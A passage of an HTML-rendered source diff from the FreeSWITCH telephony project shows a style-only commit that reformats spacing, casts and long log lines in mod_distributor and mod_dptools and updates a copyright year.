</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Total weight does not add up to total weight %d\n", lp->target_weight);
</span><span class="cx">
</span><del>-                        for(np1 = lp->nodes; np1; np1 = np1->next) {
</del><ins>+                        for (np1 = lp->nodes; np1; np1 = np1->next) {
</ins><span class="cx">                                 np1->weight += lp->target_weight - ea;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -230,7 +232,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct dist_node *np;
</span><span class="cx">
</span><del>-        for(np = list->nodes; np; np = np->next) {
</del><ins>+        for (np = list->nodes; np; np = np->next) {
</ins><span class="cx">                 np->cur_weight = np->weight;
</span><span class="cx">         }
</span><span class="cx">         list->last = -1;
</span><span class="lines">@@ -243,9 +245,9 @@
</span><span class="cx">         struct dist_node *np, *match = NULL;
</span><span class="cx">         int x = 0, mx = 0;
</span><span class="cx">         int matches = 0, loops = 0;
</span><del>-        
-        for(;;) {
</del><span class="cx">
</span><ins>+        for (;;) {
+
</ins><span class="cx">                 if (++loops > 1000) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -255,7 +257,7 @@
</span><span class="cx">                         list->last = -1;
</span><span class="cx">                 }
</span><span class="cx">                 match = NULL;
</span><del>-                for(np = list->nodes; np; np = np->next) {
</del><ins>+                for (np = list->nodes; np; np = np->next) {
</ins><span class="cx">                         if (np->cur_weight < list->target_weight) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s %d/%d\n", np->name, np->cur_weight, list->target_weight);
</span><span class="cx">                                 matches++;
</span><span class="lines">@@ -274,7 +276,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Choose %s\n", match->name);
</span><span class="cx">                         return match;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (matches) {
</span><span class="cx">                         list->last = -1;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -294,7 +296,7 @@
</span><span class="cx">         char *str = NULL;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mod_lock);
</span><del>-        for(lp = globals.list; lp; lp = lp->next) {
</del><ins>+        for (lp = globals.list; lp; lp = lp->next) {
</ins><span class="cx">                 if (!strcasecmp(name, lp->name)) {
</span><span class="cx">                         np = find_next(lp);
</span><span class="cx">                         break;
</span><span class="lines">@@ -307,14 +309,14 @@
</span><span class="cx">         switch_mutex_unlock(globals.mod_lock);
</span><span class="cx">
</span><span class="cx">         return str;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(distributor_exec)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char *ret = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "distributor requires an argument\n");
</span><span class="cx">                 return;
</span><span class="lines">@@ -370,11 +372,12 @@
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">
</span><span class="cx">         load_config(SWITCH_FALSE);
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "distributor", "Distributor API", distributor_function, "<list name>");
</span><span class="cx">         SWITCH_ADD_API(api_interface, "distributor_ctl", "Distributor API", distributor_ctl_function, "[reload]");
</span><del>-        SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>", SAF_SUPPORT_NOMEDIA|SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>",
+                                 SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_dptoolsmod_dptoolsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -89,7 +89,7 @@
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, app, data);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        caller_profile->destination_number = (char *)caller_profile->rdnis;
</del><ins>+        caller_profile->destination_number = (char *) caller_profile->rdnis;
</ins><span class="cx">         caller_profile->rdnis = SWITCH_BLANK_STRING;
</span><span class="cx">
</span><span class="cx">         return extension;
</span><span class="lines">@@ -177,7 +177,8 @@
</span><span class="cx"> SWITCH_STANDARD_APP(mkdir_function)
</span><span class="cx"> {
</span><span class="cx">         switch_dir_make_recursive(data, SWITCH_DEFAULT_DIR_PERMS, switch_core_session_get_pool(session));
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n", switch_channel_get_name(switch_core_session_get_channel(session)), data);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)), data);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define SOFT_HOLD_SYNTAX "<unhold key> [<moh_a>] [<moh_b>]"
</span><span class="lines">@@ -276,7 +277,7 @@
</span><span class="cx">                 if (strchr(argv[2], '1')) {
</span><span class="cx">                         bind_flags |= SBF_ONCE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_ivr_bind_dtmf_meta_session(session, kval, bind_flags, argv[3]) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Bind Error!\n");
</span><span class="cx">                 }
</span><span class="lines">@@ -375,7 +376,7 @@
</span><span class="cx">                                 if (e_data.total) {
</span><span class="cx">                                         for (x = 0; x < e_data.total && switch_channel_ready(channel); x++) {
</span><span class="cx">                                                 /* If we have a group and 1000 concurrent calls, we will flood the logs. This check avoids this */
</span><del>-                                                if ( !require_group )
</del><ins>+                                                if (!require_group)
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Spy: %s\n", e_data.uuid_list[x]);
</span><span class="cx">                                                 if ((file = switch_channel_get_variable(channel, "eavesdrop_indicate_new"))) {
</span><span class="cx">                                                         switch_ivr_play_file(session, NULL, file, NULL);
</span><span class="lines">@@ -437,9 +438,9 @@
</span><span class="cx">
</span><span class="cx">         mydata = switch_core_session_strdup(session, data);
</span><span class="cx">         argc = switch_split(mydata, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc != 2) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
</ins><span class="cx">                                                  switch_core_session_get_name(session), SET_AUDIO_LEVEL_SYNTAX);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -447,8 +448,8 @@
</span><span class="cx">         level = atoi(argv[1]);
</span><span class="cx">
</span><span class="cx">         switch_ivr_session_audio(session, "level", argv[0], level);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define SET_MUTE_SYNTAX "[read|write] [[true|cn level]|false]"
</span><span class="lines">@@ -461,19 +462,19 @@
</span><span class="cx">
</span><span class="cx">         mydata = switch_core_session_strdup(session, data);
</span><span class="cx">         argc = switch_split(mydata, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc != 2) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
</ins><span class="cx">                                                  switch_core_session_get_name(session), SET_MUTE_SYNTAX);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((level = atoi(argv[1])) <= 0) {
</span><span class="cx">                 level = switch_true(argv[1]);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_session_audio(session, "mute", argv[0], level);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -731,7 +732,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_channel_presence(channel, argv[0], argv[1], argv[2]);        
</del><ins>+        switch_channel_presence(channel, argv[0], argv[1], argv[2]);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(pre_answer_function)
</span><span class="lines">@@ -787,7 +788,7 @@
</span><span class="cx"> SWITCH_STANDARD_APP(set_function)
</span><span class="cx"> {
</span><span class="cx">         char *var, *val = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No variable name specified.\n");
</span><span class="cx">         } else {
</span><span class="lines">@@ -808,7 +809,8 @@
</span><span class="cx">                         expanded = switch_channel_expand_variables(channel, val);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var, expanded ? expanded : "UNDEF");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var,
+                                                 expanded ? expanded : "UNDEF");
</ins><span class="cx">                 switch_channel_set_variable_var_check(channel, var, expanded, SWITCH_FALSE);
</span><span class="cx">
</span><span class="cx">                 if (expanded && expanded != val) {
</span><span class="lines">@@ -857,7 +859,7 @@
</span><span class="cx">                                 val = NULL;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_profile_var(switch_core_session_get_channel(session), name, val);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -891,8 +893,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ", var_name ? var_name : "",
-                                                 val ? val : "UNDEF");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ",
+                                                 var_name ? var_name : "", val ? val : "UNDEF");
</ins><span class="cx">                 switch_channel_set_variable(channel, var, val);
</span><span class="cx">
</span><span class="cx">                 if (var && val) {
</span><span class="lines">@@ -999,11 +1001,11 @@
</span><span class="cx">                                                 while (*p == ' ')
</span><span class="cx">                                                         *p++ = '\0';
</span><span class="cx">                                                 val = p;
</span><del>-                                                if (!strcasecmp(var,"Event-Name")) {
</del><ins>+                                                if (!strcasecmp(var, "Event-Name")) {
</ins><span class="cx">                                                         switch_name_event(val, &event->event_id);
</span><span class="cx">                                                         switch_event_del_header(event, var);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
</span><del>-                                                } else if (!strcasecmp(var,"Event-Subclass")) {
</del><ins>+                                                } else if (!strcasecmp(var, "Event-Subclass")) {
</ins><span class="cx">                                                         size_t len = strlen(val) + 1;
</span><span class="cx">                                                         void *new = malloc(len);
</span><span class="cx">                                                         switch_assert(new);
</span><span class="lines">@@ -1043,7 +1045,8 @@
</span><span class="cx">                         switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
</span><span class="cx">                         switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+                                                         "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
</ins><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Privacy to %s [%d]\n", data, caller_profile->flags);
</span><span class="cx">         }
</span><span class="lines">@@ -1112,7 +1115,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(presence_api_function)
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><del>-        char *lbuf = NULL , *argv[4];
</del><ins>+        char *lbuf = NULL, *argv[4];
</ins><span class="cx">         int argc = 0;
</span><span class="cx">         switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
</span><span class="cx">         int need = 4;
</span><span class="lines">@@ -1158,7 +1161,7 @@
</span><span class="cx">         switch_safe_free(lbuf);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>- error:
</del><ins>+ error:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(lbuf);
</span><span class="cx">         stream->write_function(stream, "Invalid: presence %s", PRESENCE_USAGE);
</span><span class="lines">@@ -1173,8 +1176,7 @@
</span><span class="cx">         if (!zstr(cmd) && (lbuf = strdup(cmd))
</span><span class="cx">                 && (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) >= 4) {
</span><span class="cx">
</span><del>-                if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3],
-                                                                 !zstr(argv[4]) ? argv[4] : NULL , "") == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3], !zstr(argv[4]) ? argv[4] : NULL, "") == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         stream->write_function(stream, "Sent");
</span><span class="cx">                 } else {
</span><span class="cx">                         stream->write_function(stream, "Error! Message Not Sent");
</span><span class="lines">@@ -1206,7 +1208,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_event_t *params;
</span><del>-        const char *name = (const char*)data;
</del><ins>+        const char *name = (const char *) data;
</ins><span class="cx">
</span><span class="cx">         if (channel) {
</span><span class="cx">                 switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
</span><span class="lines">@@ -1234,7 +1236,7 @@
</span><span class="cx">                                                 && switch_ivr_menu_stack_xml_build(xml_ctx, &menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_xml_free(cxml);
</span><span class="cx">                                                 cxml = NULL;
</span><del>-                                                switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
</del><ins>+                                                switch_ivr_menu_execute(session, menu_stack, (char *) name, NULL);
</ins><span class="cx">                                                 switch_ivr_menu_stack_free(menu_stack);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unable to create menu\n");
</span><span class="lines">@@ -1404,7 +1406,7 @@
</span><span class="cx">                         for (p = terminators; p && *p; p++) {
</span><span class="cx">                                 if (*p == dtmf->digit) {
</span><span class="cx">                                         switch_snprintf(sbuf, sizeof(sbuf), "%c", *p);
</span><del>-                                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf );
</del><ins>+                                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf);
</ins><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -1432,7 +1434,7 @@
</span><span class="cx">                         args.input_callback = on_dtmf;
</span><span class="cx">                         args.buf = buf;
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><del>-                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><ins>+                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_ivr_sleep(session, ms, SWITCH_TRUE, &args);
</span><span class="lines">@@ -1503,7 +1505,7 @@
</span><span class="cx">         args.buf = buf;
</span><span class="cx">         args.buflen = sizeof(buf);
</span><span class="cx">
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
</ins><span class="cx">
</span><span class="cx">         switch_ivr_speak_text(session, engine, voice, text, &args);
</span><span class="cx"> }
</span><span class="lines">@@ -1582,7 +1584,8 @@
</span><span class="cx">                         switch_stream_handle_t stream = { 0 };
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                         switch_api_execute("uuid_bridge", id, NULL, &stream);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id, switch_str_nil((char *) stream.data));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id,
+                                                         switch_str_nil((char *) stream.data));
</ins><span class="cx">                         switch_safe_free(stream.data);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -1607,7 +1610,7 @@
</span><span class="cx">
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, bond);
</span><span class="cx">
</span><del>-        if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
</del><ins>+        if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
</ins><span class="cx">                 != SWITCH_STATUS_SUCCESS || !peer_session) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1640,13 +1643,13 @@
</span><span class="cx">                                 switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
</span><span class="cx">                                 switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), switch_core_session_get_uuid(session));
</span><span class="cx">                                 switch_channel_set_variable(b_channel, "xfer_uuids", buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), bond);
</span><span class="cx">                                 switch_channel_set_variable(channel, "xfer_uuids", buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_event_hook_add_state_change(session, hanguphook);
</span><span class="cx">                                 switch_core_event_hook_add_state_change(b_session, hanguphook);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_rwunlock(b_session);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1654,7 +1657,7 @@
</span><span class="cx">                 if (!br) {
</span><span class="cx">                         switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), bond);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_core_session_rwunlock(peer_session);
</span><span class="lines">@@ -1813,11 +1816,11 @@
</span><span class="cx">
</span><span class="cx">         if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
</span><span class="cx">                 && (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) == 4) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 args.input_callback = on_dtmf;
</span><del>-                
-                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
-                
</del><ins>+
+                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
+
</ins><span class="cx">                 switch_ivr_say(session, argv[3], argv[0], argv[1], argv[2], &args);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SAY_SYNTAX);
</span><span class="lines">@@ -1841,15 +1844,16 @@
</span><span class="cx">                 if ((mdata = strchr(macro, ','))) {
</span><span class="cx">                         *mdata++ = '\0';
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 lang = switch_channel_get_variable(channel, "language");
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata), switch_str_nil(lang));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata),
+                                                 switch_str_nil(lang));
</ins><span class="cx">
</span><span class="cx">                 args.input_callback = on_dtmf;
</span><del>-                
-                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><span class="cx">
</span><ins>+                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
+
</ins><span class="cx">                 status = switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_NOOP;
</span><span class="lines">@@ -1878,10 +1882,10 @@
</span><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         char *p;
</span><span class="cx">         const char *file = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><span class="cx">                 file = switch_core_session_strdup(session, data);
</span><del>-                if ((p = strchr(file, '@')) && *(p+1) == '@') {
</del><ins>+                if ((p = strchr(file, '@')) && *(p + 1) == '@') {
</ins><span class="cx">                         *p = '\0';
</span><span class="cx">                         p += 2;
</span><span class="cx">                         if (p && *p) {
</span><span class="lines">@@ -1894,7 +1898,7 @@
</span><span class="cx">
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx">
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
</ins><span class="cx">
</span><span class="cx">         status = switch_ivr_play_file(session, &fh, file, &args);
</span><span class="cx">
</span><span class="lines">@@ -1920,8 +1924,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         const char *file = data;
</span><del>-        
-        while(switch_channel_ready(channel)) {
</del><ins>+
+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 status = switch_ivr_play_file(session, NULL, file, NULL);
</span><span class="cx">
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
</span><span class="lines">@@ -1968,7 +1972,7 @@
</span><span class="cx">
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx">
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
</ins><span class="cx">
</span><span class="cx">         switch_ivr_gentones(session, tone_script, loops, &args);
</span><span class="cx"> }
</span><span class="lines">@@ -2060,7 +2064,7 @@
</span><span class="cx">
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx">
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
</ins><span class="cx">
</span><span class="cx">         status = switch_ivr_record_file(session, &fh, path, &args, limit);
</span><span class="cx">
</span><span class="lines">@@ -2071,7 +2075,7 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(preprocess_session_function)
</span><span class="cx"> {
</span><del>-        switch_ivr_preprocess_session(session, (char *)data);
</del><ins>+        switch_ivr_preprocess_session(session, (char *) data);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(record_session_function)
</span><span class="lines">@@ -2089,7 +2093,7 @@
</span><span class="cx">         /* Search for a space then a plus followed by only numbers at the end of the path,
</span><span class="cx">          if found trim any spaces to the left/right of the plus use the left side as the
</span><span class="cx">          path and right side as a time limit on the recording
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">         /* if we find a + and the character before it is a space */
</span><span class="cx">         if ((path_end = strrchr(path, '+')) && path_end > path && *(path_end - 1) == ' ') {
</span><span class="lines">@@ -2102,7 +2106,7 @@
</span><span class="cx">                         path_end--;
</span><span class="cx">
</span><span class="cx">                         /* trim spaces to the left of the plus */
</span><del>-                        while(path_end > path && *path_end == ' ') {
</del><ins>+                        while (path_end > path && *path_end == ' ') {
</ins><span class="cx">                                 path_end--;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -2165,15 +2169,15 @@
</span><span class="cx">         args.input_callback = camp_fire;
</span><span class="cx">         args.buf = dbuf;
</span><span class="cx">         args.buflen = sizeof(dbuf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_read_lock(session);
</span><span class="cx">
</span><span class="cx">         /* don't set this to a local_stream:// or you will not be happy */
</span><span class="cx">         if ((greet = switch_channel_get_variable(channel, "campon_announce_sound"))) {
</span><span class="cx">                 status = switch_ivr_play_file(session, NULL, greet, &args);
</span><span class="cx">         }
</span><del>-        
-        while(stake->running && switch_channel_ready(channel)) {
</del><ins>+
+        while (stake->running && switch_channel_ready(channel)) {
</ins><span class="cx">                 if (status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                         if (!strcasecmp(moh, "silence")) {
</span><span class="cx">                                 status = switch_ivr_collect_digits_callback(session, &args, 0, 0);
</span><span class="lines">@@ -2207,7 +2211,7 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         char *camp_data = NULL;
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2218,7 +2222,7 @@
</span><span class="cx">         if ((v_campon = switch_channel_get_variable(caller_channel, "campon")) && switch_true(v_campon)) {
</span><span class="cx">                 const char *cid_name = NULL;
</span><span class="cx">                 const char *cid_number = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(cid_name = switch_channel_get_variable(caller_channel, "effective_caller_id_name"))) {
</span><span class="cx">                         cid_name = switch_channel_get_variable(caller_channel, "caller_id_name");
</span><span class="cx">                 }
</span><span class="lines">@@ -2239,7 +2243,7 @@
</span><span class="cx">                 v_campon_timeout = switch_channel_get_variable(caller_channel, "campon_timeout");
</span><span class="cx">                 v_campon_sleep = switch_channel_get_variable(caller_channel, "campon_sleep");
</span><span class="cx">                 v_campon_fallback_exten = switch_channel_get_variable(caller_channel, "campon_fallback_exten");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (v_campon_retries) {
</span><span class="cx">                         if ((tmp = atoi(v_campon_retries)) > 0) {
</span><span class="cx">                                 campon_retries = tmp;
</span><span class="lines">@@ -2262,10 +2266,10 @@
</span><span class="cx">                 camping = 1;
</span><span class="cx">
</span><span class="cx">                 if (cid_name && cid_number) {
</span><del>-                        camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
</del><ins>+                        camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
</ins><span class="cx">                                                                                                         cid_name, cid_number, data);
</span><span class="cx">                 } else {
</span><del>-                        camp_data = (char *)data;
</del><ins>+                        camp_data = (char *) data;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!(moh = switch_channel_get_variable(caller_channel, "hold_music"))) {
</span><span class="lines">@@ -2275,22 +2279,22 @@
</span><span class="cx">                 do {
</span><span class="cx">                         fail = 0;
